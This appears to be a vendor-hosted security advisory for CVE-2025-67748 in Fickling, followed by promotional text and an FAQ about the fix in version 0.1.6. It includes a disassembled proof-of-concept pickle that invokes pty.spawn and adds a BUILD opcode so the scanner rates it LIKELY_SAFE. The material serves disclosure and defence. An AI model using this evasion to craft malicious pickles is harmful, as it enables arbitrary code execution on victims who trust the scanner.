Summary
Fickling has Code Injection vulnerability via pty.spawn()
Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELY_SAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.
Original report
An unsafe deserialization vulnerability in Fickling allows a crafted pickle file to bypass the "unused variable" heuristic, enabling arbitrary code execution. This bypass is achieved by adding a trivial operation to the pickle file that "uses" the otherwise unused variable left on the stack after a malicious operation, tricking the detection mechanism into classifying the file as safe.
Details
Fickling relies on the heuristic of detecting unused variables in the VM's stack after execution. Opcodes like REDUCE, OBJ, and INST, which can be used for arbitrary code execution, leave a value on the stack that is often unused in malicious pickle files.
This vulnerability enables a bypass by modifying the pickle file to use this leftover variable. A simple way to achieve this is to add a BUILD opcode that, in effect, adds a __setstate__ to the unused variable. This makes Fickling consider the variable "used," thus failing to flag the malicious file.
PoC
The following is a disassembled view of a malicious pickle file that bypasses Fickling's "unused variable" detection:
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'pty'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'spawn'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'id'
31: \x94 MEMOIZE (as 3)
32: \x85 TUPLE1
33: \x94 MEMOIZE (as 4)
34: R REDUCE
35: \x94 MEMOIZE (as 5)
36: \x8c SHORT_BINUNICODE 'gottem'
44: \x94 MEMOIZE (as 6)
45: b BUILD
46: . STOP
Here, the additions to the original pickle file can see on lines 35, 36, 44 and 45.
When analyzing this modified file, Fickling fails to identify it as malicious and reports it as "LIKELY_SAFE" as seen here:
{
"severity": "LIKELY_SAFE",
"analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
"detailed_results": {}
}
Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it relies on the "unused variable" heuristic to flag pickle files as unsafe. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-67748? CVE-2025-67748 is a high-severity code injection vulnerability in fickling (pip), affecting versions < 0.1.6. It is fixed in 0.1.6. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which versions of fickling are affected by CVE-2025-67748? fickling (pip) versions < 0.1.6 is affected.
- Is there a fix for CVE-2025-67748? Yes. CVE-2025-67748 is fixed in 0.1.6. Upgrade to this version or later.
- Is CVE-2025-67748 exploitable, and should I be worried? Whether CVE-2025-67748 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-67748 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-67748? Upgrade
ficklingto 0.1.6 or later.